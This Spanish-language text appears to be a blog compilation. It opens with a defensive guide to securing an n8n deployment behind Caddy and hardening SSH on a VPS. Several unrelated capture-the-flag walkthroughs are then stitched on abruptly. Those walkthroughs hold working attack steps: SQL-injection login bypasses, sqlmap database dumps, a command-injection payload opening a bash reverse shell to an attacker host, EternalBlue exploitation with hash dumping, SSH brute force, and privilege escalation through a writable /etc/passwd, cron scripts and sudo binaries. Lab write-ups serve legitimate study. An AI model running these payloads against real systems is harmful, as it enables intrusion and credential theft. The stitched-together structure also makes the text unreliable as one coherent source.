La N8N_ENCRYPTION_KEY merece atención aparte ya que n8n cifra con ella todas las credenciales que guardas en los workflows. Si la clave cambia al recrear el contenedor, todas esas credenciales quedan ilegibles de golpe. La trato como clave maestra donde no debe de estar en el compose, en Git, y no se regenera salvo en un proceso controlado y a sabiendas de lo que implica.

compose.yaml

Así sería el docker compose con tres servicios en red interna. Ningún puerto de aplicación publicado hacia el exterior salvo los de Caddy:

services:
  postgres:
    image: postgres:16
    environment:
      POSTGRES_DB: n8n
      POSTGRES_USER: n8n
      POSTGRES_PASSWORD_FILE: /run/secrets/pg_password
    secrets:
      - pg_password
    volumes:
      - pgdata:/var/lib/postgresql/data
    networks:
      - internal
    restart: unless-stopped

  n8n:
    image: docker.n8n.io/n8nio/n8n:stable
    environment:
      DB_TYPE: postgresdb
      DB_POSTGRESDB_HOST: postgres
      DB_POSTGRESDB_DATABASE: n8n
      DB_POSTGRESDB_USER: n8n
      DB_POSTGRESDB_PASSWORD_FILE: /run/secrets/pg_password
      N8N_ENCRYPTION_KEY_FILE: /run/secrets/n8n_encryption_key
      N8N_HOST: <SUBDOMINIO>
      N8N_PROTOCOL: https
      WEBHOOK_URL: https://<SUBDOMINIO>/
      EXECUTIONS_DATA_PRUNE: "true"
      EXECUTIONS_DATA_MAX_AGE: "168"
      GENERIC_TIMEZONE: Europe/Madrid
    secrets:
      - pg_password
      - n8n_encryption_key
    volumes:
      - n8n_data:/home/node/.n8n
    networks:
      - internal
    depends_on:
      - postgres
    restart: unless-stopped

  caddy:
    image: caddy:2
    ports:
      - "80:80"
      - "443:443"
    volumes:
      - ./Caddyfile:/etc/caddy/Caddyfile
      - caddy_data:/data
      - caddy_config:/config
    networks:
      - internal
    restart: unless-stopped

networks:
  internal:

volumes:
  pgdata:
  n8n_data:
  caddy_data:
  caddy_config:

secrets:
  pg_password:
    file: ./secrets/pg_password.txt
  n8n_encryption_key:
    file: ./secrets/n8n_encryption_key.txt

Algunas de las decisiones que tomé de este YAML:

Postgres en lugar de SQLite. n8n usa SQLite por defecto y es lo más rápido de levantar, pero SQLite no maneja bien la concurrencia y hace backup sucio si hay escrituras en curso. Con workflows ejecutándose con frecuencia decidí que Postgres es la decisión correcta desde el principio.

stable en lugar de latest. n8n distingue explícitamente entre los dos tags. latest puede apuntar a versiones beta y en un despliegue que quiero mantener funcionando sin problemas no tenía sentido asumir ese riesgo cuando existe un tag específico para producción.

El puerto 5678 no está publicado. Si lo publicara en el compose cualquiera que alcanzara el servidor llegaría al panel directamente sin pasar por Caddy, sin TLS, sin control de acceso. Al no publicarlo ese puerto no existe fuera de la red interna Docker. Caddy es el único que puede llegar a n8n y lo hace por nombre de servicio. Eso reduce la superficie a un solo punto de entrada.

EXECUTIONS_DATA_MAX_AGE: “168”. Retención de 7 días. Sin esto el historial de ejecuciones crece indefinidamente. Es fácil no darse cuenta hasta que el disco está al 90% y empiezan los problemas y es por ello que preferí ponerlo desde el primer día.

GENERIC_TIMEZONE: Europe/Madrid. Los timestamps en UTC dificultan correlacionar eventos con lo que realmente pasó. Con la hora local los logs tienen sentido a primera vista sin tener que hacer conversiones mentales.

Caddy: el único punto de entrada visible

Caddy hace de reverse proxy el cual gestiona el TLS automáticamente con Let’s Encrypt y es donde implemento el control de acceso real.

IP allowlist: el panel invisible

Cualquier IP que no sea la mía recibe un 403 Forbidden y no ve nada más, ni el login de n8n, ni una pista de qué hay detrás. Para todo lo que no sea mi IP el panel sencillamente no está ahí.

La pega es que si mi IP cambia ,otra conexión, un viaje o una IP dinámica que rota provoca que pierda el acceso hasta que actualice la config y recargue Caddy. Es incómodo. Pero la alternativa es dejar el panel expuesto al mundo, y entre incómodo y expuesto me quedo con incómodo. Una alternativa sería usar DDNS con mi IP publica.

Rutas separadas para webhooks

Los webhooks sí tienen que ser accesibles desde Internet porque los invocan servicios externos. Van en rutas separadas que saltan el allowlist, mientras el resto sigue protegido:

handle /webhook/* {
    reverse_proxy n8n:5678
}
handle /webhook-test/* {
    reverse_proxy n8n:5678
}
handle {
    @tuip remote_ip <TU_IP>
    handle @tuip {
        reverse_proxy n8n:5678
    }
    handle {
        respond "403 Forbidden" 403
    }
}

Cabeceras de seguridad

Estas son las cabeceras de seguridad que utilicé

Strict-Transport-Security "max-age=31536000; includeSubDomains"
X-Content-Type-Options "nosniff"
X-Frame-Options "DENY"
Referrer-Policy "no-referrer"
-Server

Strict-Transport-Security fuerza al navegador a usar siempre HTTPS y una vez que lo recibe no vuelve a intentar HTTP durante un año. Si alguien intenta hacer un downgrade de conexión, el navegador lo rechaza directamente.

X-Content-Type-Options nosniff evita que el navegador adivine el tipo de contenido de un archivo y lo interprete como algo que no es lo que cierra un vector clásico de inyección.

X-Frame-Options DENY impide que el panel se cargue dentro de un iframe ajeno cortando ataques de clickjacking.

Referrer-Policy no-referrer hace que el navegador no envíe información de origen cuando navegas fuera del panel ya que nadie necesita saber desde dónde llegaste. Y quitar el header Server elimina la pista de qué software está detrás, un detalle pequeño, pero reduce el reconocimiento pasivo y no cuesta nada hacerlo.

Caddyfile completo

Para referencia, este es el Caddyfile completo con todo lo anterior integrado:

<SUBDOMINIO> {
  header {
    Strict-Transport-Security "max-age=31536000; includeSubDomains"
    X-Content-Type-Options "nosniff"
    X-Frame-Options "DENY"
    Referrer-Policy "no-referrer"
    -Server
  }

  handle /webhook/* {
    reverse_proxy n8n:5678
  }

  handle /webhook-test/* {
    reverse_proxy n8n:5678
  }

  handle {
    @tuip remote_ip <IP NUESTRA>
    handle @tuip {
      reverse_proxy n8n:5678
    }
    handle {
      respond "403 Forbidden" 403
    }
  }
}

Para recargar Caddy sin reiniciar el contenedor usé el siguiente comando:

docker compose exec caddy caddy reload --config /etc/caddy/Caddyfile

DNS y TLS

Para el DNS añadí un registro A apuntando el subdominio a la IP del VPS. Puse TTL 300 durante la configuración para que propagara rápido.

Caddy resuelve el challenge TLS-ALPN-01 con Let’s Encrypt automáticamente al arrancar. No hay ningún cron, ningún certbot, ningún proceso externo que gestionar. Los logs confirman el momento exacto en que el certificado está listo:

caddy  | {"level":"info","msg":"certificate obtained successfully","identifier":"<SUBDOMINIO>"}

A partir de ahí la renovación es automática y transparente.

Arranque y lo que encontré la primera vez

docker compose up -d
docker compose ps

El orden en el que verifico es el siguiente: primero que los tres contenedores estén en Up, luego los logs de Caddy para confirmar el certificado, luego acceso al panel desde mi IP y 403 desde otra IP diferente.

Algo que me encontré en el primer arranque fue que el depends_on del compose garantiza que Postgres arranca antes que n8n, pero no espera a que Postgres esté listo para aceptar conexiones. n8n puede arrancar antes de que la base de datos haya terminado de inicializarse y falla en el primer intento de conexión provocando que en los logs se muestre un error de conexión que pueda confundir si no sabe qué es. Con restart: unless-stopped Docker lo reintenta automáticamente y en unos segundos se resuelve solo, pero la primera vez que lo vi tuve que investigar si era un problema real o simplemente un tema de timing. Era lo segundo.

Lo que no sube a Git

El compose.yaml y el Caddyfile van a un repositorio privado. La carpeta secrets/ nunca aunque el repositorio sea privado, los secretos en Git siguen siendo un riesgo ya que con que se haga público por error, que un token de acceso se filtre, o que alguien con acceso de lectura no debiera tenerlo.

Los secretos viven solo en el servidor, con permisos 600, propiedad del usuario que corre los contenedores. Es el único sitio donde tienen que estar.

Lo que falta

Hay dos cosas que dejé pendientes y prefiero decirlas claras antes de que alguien las encuentre por mí.

Los endpoints /webhook/* están públicos por diseño pero ahora mismo no tienen rate limiting y esto provoca que cualquiera pueda mandarles peticiones en masa. Resolverlo bien requiere una imagen propia de Caddy con el plugin caddy-ratelimit, así que de momento queda apuntado.

La autenticación de webhooks con HMAC tampoco está. Hoy quien conozca la URL de un webhook puede invocarlo sin más. La solución es validar un header firmado dentro de cada workflow antes de ejecutar la lógica. Lo dejaré documentado en un post aparte cuando tenga flujos reales que enseñar, no antes.

Lo que queda montado

El servidor solo acepta SSH por clave, sin root posible. El firewall perimetral bloquea todo lo que no sean los tres puertos que necesito. Los servicios están aislados en red interna y ningún puerto de aplicación se expone directamente. El panel de n8n es invisible para cualquier IP que no sea la mía y las credenciales no aparecen en texto plano en ningún fichero de configuración.

No es 100% seguro ya que eso no existe. Es una configuración donde cada decisión tiene un motivo detrás y las limitaciones están identificadas antes de convertirse en un problema. Para lo que necesitaba practicar n8n sin pagar cloud y sin dejar un panel sensible abierto al mundo me parece el equilibrio correcto.

El contexto — por qué monté este laboratorio

Quería montar un VPS para producción y antes de instalar nada preferí revisar algunas configuraciones básicas de seguridad.

Lo primero que revisé fue el protocolo SSH ya que por defecto cualquier servidor de Linux expone SSH en el puerto 22 sin ninguna restricción y esto provoca que cualquier máquina en internet pueda intentar conectarse al servidor por SSH.

Además no hace falta conocer la IP ya que existen bots en internet que están escaneando direcciones IPs constantemente. Entonces hasta aquí hay dos riesgos concretos:

El primero es que si las credenciales son débiles pueden entrar.

El segundo riesgo es que aunque no entren cada intento consume recursos del servidor como CPU, memoria, escrituras en disco para los logs y esto en un VPS con recursos limitados puede perjudicar al rendimiento o directamente dejar el servicio inaccesible.

Para comprobarlo antes de tocar nada decidí dejar el servidor expuesto unas horas y monitorizar los logs de auth.log, lo que vi me dejó bastante claro por qué SSH es siempre lo primero que hay que revisar.

Lo que encontré: 506 intentos en 2 horas

Dejé el servidor expuesto sin tocar nada y estuve monitoreando los logs de /var/log/auth.log. En 2 horas y 23 minutos el servidor recibió 506 intentos de acceso fallidos desde internet. Usé expresiones regulares para ver el número de veces y la IP con la que intentaron el acceso donde obviamente por razones de seguridad se censuraron.

Y estos fueron los usuarios que probaron con el acceso:

221 intentos directamente contra root y 332 contra usuarios que no existen en el sistema y esto es debido a que los bots tienen listas de usuarios comunes donde van probando el acceso.

Primero van a por root porque es el usuario que siempre existe y tiene acceso total. Si entra el servidor es prácticamente suyo porque puede realizar cualquier acción con permisos.

Hay que recalcar que esto no es un ataque dirigido sino que son varios bots distintos que encontraron el servidor de forma independiente escaneando rangos de IPs y que están constantemente intentando entrar en el servidor por SSH.

Esta sería la línea original sin filtrar con expresiones regulares donde se ve claramente el intento de inicio de sesión desde diferentes IPs y usuarios.

Decisión 1 — deshabilitar root

Viendo los logs me quedó claro que el primer objetivo de cualquier bot es el usuario root y esto es debido a que es el usuario que existe en cualquier servidor Linux por defecto y tiene permisos totales sobre el sistema. Si consiguen entrar, el servidor es prácticamente suyo sin necesidad de escalar privilegios.

Por eso la primera decisión que hice fue deshabilitar root para acceso SSH donde simplemente le digo al servicio SSH que no acepte conexiones con ese usuario.

Antes de deshabilitarlo necesitaba un usuario alternativo con acceso sudo porque de lo contrario me quedaría fuera del servidor ya que yo accedía como root.

Por ello creé el usuario alvaro usando el comando:

adduser alvaro

Y lo añadí al grupo sudo:

usermod -aG sudo alvaro

Por motivos obvios de seguridad el usuario que acabo de crear tiene una contraseña robusta.

Ahora será con el usuario alvaro por el cual nos conectamos por ssh en lugar de root. Ahora si procedo a deshabilitar el usuario root para acceder por ssh.

Para hacerlo edité el archivo de configuración de SSH:

nano /etc/ssh/sshd_config

Y busqué la línea PermitRootLogin y la cambié a:

PermitRootLogin no

Antes de reiniciar el servicio SSH ejecuté el comando:

sshd -t

Esto lo hago para comprobar que la configuración no tenga errores.

Una vez haya comprobado de que la configuración es correcta reiniciamos el servicio ssh:

systemctl restart ssh

Ahora si intento entrar como root me dice permiso denegado.

Esta medida tiene una limitación clara y es que deshabilitar root solo tiene valor si el resto de usuarios con acceso sudo tienen contraseñas robustas ya que si un atacante consigue entrar con un usuario que tiene sudo y contraseña débil puede ejecutar sudo su y convertirse en root igualmente. La medida reduce la superficie de ataque pero no la elimina.

Decisión 2 — autenticación por clave

La primera medida reduce la superficie de ataque pero no elimina el vector de fuerza bruta mientras la autenticación por contraseña está activada, esto hace que un bot pueda seguir probando combinaciones constantemente. La solución es cambiar el mecanismo de autenticación por clave.

Con autenticación por clave el servidor deja de aceptar contraseñas y solo puede entrar quien tenga el archivo de clave privada correspondiente evitando así que puedan realizar intentos de fuerza bruta sobre el servidor.

Para generar el par de claves usé ed25519 en lugar del clásico RSA y esto es debido a que Ed25519 es más moderno, genera claves más cortas con el mismo nivel de seguridad y es más rápido en la verificación. En 2026 no hay razón para usar RSA salvo compatibilidad con sistemas muy antiguos.

ssh-keygen -t ed25519 -C "iamescri-labSSH" -f ~/.ssh/iamescri_labSSH

Esto genera dos archivos: la clave privada iamescri_labSSH que no sale de mi máquina y la clave pública iamescri_labSSH.pub que es la que va al servidor.

Además le añadí una passphrase al generar la clave, una capa adicional por si alguien consigue acceder al archivo de clave privada.

Después copié la clave pública al servidor:

ssh-copy-id -i ~/.ssh/iamescri_labSSH.pub alvaro@IP-PUBLICA

Hacemos una comprobación para ver si podemos entrar por la clave, para eso pongo el comando:

ssh -i ~/.ssh/iamescri_labSSH alvaro@IP-PUBLICA

y después preguntará por el passphrase que pusimos al generar la clave, lo pongo y me deja entrar correctamente.

Una vez confirmado el acceso por clave desactivé la autenticación por contraseña en el archivo sshd_config para ello puse:

PasswordAuthentication no

Este es el paso que cierra el vector de fuerza bruta, si no hacemos este cambio la contraseña sigue siendo una vía de entrada.

La limitación de esta medida es que si pierdes la clave privada y no tienes otra forma de acceso al servidor te quedas sin poder entrar. Por eso es recomendable tener más de una clave autorizada o al menos un método de acceso de emergencia como la consola web del proveedor del servidor.

Al reiniciar el servicio comprobé que la contraseña seguía funcionando. El problema estaba en que Ubuntu 24.04 en Hetzner incluye un archivo de cloud-init que sobreescribe la configuración principal de SSH que estaba en la ruta:

/etc/ssh/sshd_config.d/50-cloud-init.conf

Este archivo tenía PasswordAuthentication yes y tiene prioridad sobre sshd_config. Tuve que modificarlo también para que el cambio surtiera efecto.

Ahora si yo intento conectarme como usuario alvaro via contraseña me da permiso denegado.

A partir de este momento el servidor solo acepta conexiones SSH mediante clave privada. Cualquier intento de autenticación por contraseña es denegado sin importar si la contraseña es correcta o no.

Los bots pueden seguir intentando entrar pero ya no tienen ningún vector válido de entrada.

Decisión 3 — fail2ban

Aunque las dos medidas anteriores eliminan el vector de fuerza bruta los bots siguen intentando conectarse. Cada intento genera ruido en los logs y consume recursos del servidor como CPU, memoria o escrituras en disco. En un VPS con recursos limitados ese ruido constante tiene un coste real aunque ningún intento tenga éxito.

Es por eso que decidí implementar fail2ban, que monitoriza los logs en tiempo real y banea automáticamente las IPs que superan un número de intentos fallidos en un tiempo determinado.

No es una medida de seguridad crítica en este contexto ya que con la autenticación por clave ya está cerrado el vector de entrada, pero sí una medida para reducir el ruido, limpiar los logs y liberar recursos.

sudo apt update && sudo apt install fail2ban -y

Antes de configurar fail2ban tuve en cuenta que nunca se edita directamente jail.conf y esto es debido a que este es el archivo de configuración original que viene con fail2ban y se sobreescribe cada vez que el paquete se actualiza donde cualquier cambio que haga ahí desaparece en la próxima actualización.

Lo que hice es crear una copia llamada jail.local donde Fail2ban lee los dos archivos pero jail.local tiene prioridad y nunca se toca en las actualizaciones. Es la forma que tiene fail2ban de separar la configuración por defecto de la configuración del usuario.

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

A partir de ahí todos los cambios que haga van en jail.local y nunca en jail.conf.

Después de crear el archivo jail.local lo que hice fue buscar la sección de sshd y puse los siguientes valores:

[sshd]
enabled  = true
mode     = normal
port     = ssh
logpath  = %(sshd_log)s
backend  = %(sshd_backend)s
maxretry = 3
bantime  = 3600
findtime = 600

Solo modifiqué tres valores respecto a la configuración por defecto:

maxretry = 3 indica que con tres intentos fallidos provoca un ban. Lo pongo así porque un usuario legítimo no falla tres veces seguidas, un bot sí.

findtime = 600 esos tres intentos tienen que ocurrir en un tiempo de 10 minutos, esto evita banear a alguien que falló una vez hoy y otra mañana.

bantime = 3600 indica una hora de ban, lo que es suficiente para cortar el ataque sin ser tan agresivo que un falso positivo se convierta en un problema real.

El resto de parámetros los dejé en sus valores por defecto ya que funcionan correctamente para este caso y no había razón para tocarlos.

Después de estos cambios arranqué el servicio:

sudo systemctl enable fail2ban
sudo systemctl start fail2ban

Después de arrancar el servicio y dejarlo un tiempo comprobé si funciona y ver si ha baneado alguna IP o no:

sudo fail2ban-client status sshd

Fail2ban lleva activo poco tiempo y ya ha baneado 3 IPs distintas con 26 intentos fallidos detectados. En este momento hay 1 IP baneada activamente — una de las mismas que aparecía desde el principio en los logs.

La limitación de fail2ban es que no protege contra ataques distribuidos. Si un atacante usa miles de IPs distintas haciendo un solo intento cada una, nunca supera el maxretry y nunca es baneado. Para ese escenario hacen falta soluciones diferentes como listas de bloqueo por reputación de IP o servicios especializados en mitigación de ataques distribuidos.

El después — comparativa real

Cuando dejé el servidor expuesto sin tocar nada, en 2 horas y 23 minutos acumuló 506 intentos fallidos desde 3 IPs distintas. Eso fue antes de aplicar ninguna medida.

Ahora tras 24 horas con el hardening aplicado el contador está en 3.842 intentos desde más de 20 IPs distintas. La IP más persistente lleva 1.081 intentos ella sola desde el primer minuto pero ninguna consiguió entrar.

Fail2ban ha baneado 4 IPs en total y mantiene 3 bloqueadas actualmente. Pero mirando los datos es evidente que no es la medida que detiene los ataques ya que hay IPs con cientos de intentos que nunca son baneadas porque espacian sus conexiones por debajo del maxretry, por lo que Fail2ban reduce el ruido pero no lo elimina.

Lo que realmente cierra la puerta son las decisiones 1 y 2. Sin root accesible y sin autenticación por contraseña, esos 3.842 intentos no tienen ninguna entrada posible. Los bots pueden seguir intentando indefinidamente — el resultado siempre será el mismo.

Conclusión

Exponer SSH directamente a Internet hace que el servidor empiece a recibir actividad automatizada desde el primer momento incluso sin tener ningún servicio desplegado todavía.

Lo más importante de este laboratorio no fue ver intentos de fuerza bruta ya que eso me lo esperaba, sino comprobar cómo pequeñas decisiones bien aplicadas reducen muchísimo la superficie de ataque sin necesidad de configuraciones complejas.

Deshabilitar root, eliminar autenticación por contraseña y limitar el ruido automatizado con Fail2Ban no hace que el servidor sea invulnerable, pero sí elimina gran parte de los vectores más comunes que utilizan los bots automatizados contra servicios SSH expuestos.

Después de dejar el servidor expuesto durante horas la conclusión es bastante clara: SSH no debería dejarse con la configuración por defecto en un entorno accesible desde Internet aunque el VPS sea pequeño o aparentemente poco interesante. Los bots no discriminan.

nmap -sV -sC -p- --min-rate 5000 172.17.0.2

Puerto 80 abierto con formulario de login.

SQL Injection

Login bypass básico:

usuario: admin' or '1'='1
password: cualquier cosa

Acceso obtenido. Enumeramos la base de datos con SQLMap:

sqlmap -u "http://172.17.0.2/login.php" --data="user=admin&pass=test" --dbs
sqlmap -u "http://172.17.0.2/login.php" --data="user=admin&pass=test" -D users --tables
sqlmap -u "http://172.17.0.2/login.php" --data="user=admin&pass=test" -D users -T creds --dump

Credenciales extraídas: dylan:KJSDFG789FGSDF74.

Acceso SSH

ssh dylan@172.17.0.2

Escalada de Privilegios

ls -la /etc/passwd
# -rw-rw-rw- 1 root root ... /etc/passwd

El fichero /etc/passwd tiene permisos de escritura para todos. Añadimos usuario root:

echo 'pwned::0:0:root:/root:/bin/bash' >> /etc/passwd
su pwned

root@injection:/# cat /root/root.txt

nmap -sV -sC -p- --min-rate 5000 192.168.1.X

Puertos: 22 (SSH), 80 (HTTP).

Enumeración Web

Panel de administración en /admin/ con función de ping:

http://192.168.1.X/admin/ping.php?ip=127.0.0.1

Inyección de Comandos

ip=127.0.0.1;id

Respuesta: uid=33(www-data). Confirmada la inyección. Lanzamos reverse shell:

ip=127.0.0.1;bash -c 'bash -i >& /dev/tcp/192.168.1.Y/4444 0>&1'

Escalada de Privilegios

cat /etc/crontab

* * * * * root /opt/backup.sh

El script es escribible por www-data:

echo 'chmod +s /bin/bash' >> /opt/backup.sh
# Esperar 1 minuto...
bash -p

bash-5.1# whoami
root

nmap -sV -sC -p- --min-rate 5000 10.10.X.X

Puerto 445 (SMB) abierto. Comprobamos si es vulnerable a MS17-010:

nmap --script smb-vuln-ms17-010 -p 445 10.10.X.X

Resultado: VULNERABLE.

Explotación (EternalBlue)

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.X.X
set LHOST tun0
run

Shell obtenida como NT AUTHORITY\SYSTEM directamente.

Post-Explotación

# Migrar a proceso estable
migrate -N explorer.exe

# Volcar hashes
hashdump

Hashes obtenidos:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:...

Crackear con john o pasar directamente con Pass-the-Hash.

nmap -sV -sC -p- --min-rate 5000 10.10.11.11

Puertos: 22 (SSH), 80 (HTTP). El sitio redirige a board.htb, añadirlo al /etc/hosts.

Enumeración Web

ffuf -u http://board.htb -H "Host: FUZZ.board.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

Subdominio encontrado: crm.board.htb — instancia de Dolibarr 17.0.0.

Explotación Dolibarr (RCE)

Dolibarr 17.0.0 es vulnerable a RCE autenticado via inyección PHP en plantillas. Credenciales por defecto: admin:admin.

# Subir plantilla con código PHP malicioso
# Ejecutar via preview de la plantilla

Obtenemos shell como www-data.

Escalada a Usuario

find / -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null

Credenciales en config de Dolibarr: larissa:serverfun2$.

ssh larissa@10.10.11.11

Escalada a Root

find / -perm -4000 2>/dev/null

/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys tiene SUID. Explotamos CVE-2022-37706:

./exploit.sh
# root@boardlight:~# 

nmap -sV -sC -p- --min-rate 5000 172.17.0.2

Puertos abiertos: 22 (SSH), 80 (HTTP).

Enumeración Web

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirb/common.txt

Encontramos /secret.php con un nombre de usuario: mario.

Fuerza Bruta SSH

hydra -l mario -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2

Credenciales válidas: mario:chocolate.

Acceso y Escalada

ssh mario@172.17.0.2
sudo -l

El usuario puede ejecutar /usr/bin/vim como root:

sudo vim -c ':!/bin/bash'

root@trust:/# cat /root/root.txt

Empezamos con un escaneo de puertos para ver qué tenemos:

nmap -sV -sC -p- --min-rate 5000 10.10.11.X -oN scan.txt

Resultado:

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
22/tcp open  ssh     OpenSSH 8.4p1

Enumeración Web

Accedemos al puerto 80 y encontramos un panel de login. Tiramos feroxbuster para buscar más rutas:

feroxbuster -u http://10.10.11.X -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Encontramos /admin, /backup y /config.php.

Explotación

El panel de login es vulnerable a SQLi básica:

Usuario: admin' -- -
Password: anything

Entramos directamente como admin. Desde el panel podemos subir archivos — subimos una reverse shell PHP.

nc -lvnp 4444

Escalada de Privilegios

Comprobamos sudo:

sudo -l

(ALL) NOPASSWD: /usr/bin/python3

¡Perfecto! Escalamos a root:

sudo python3 -c 'import os; os.system("/bin/bash")'

root@pequeñas-mentirosas:~# id
uid=0(root) gid=0(root)

Flags

User: 7a9f3c...
Root: b3e12d...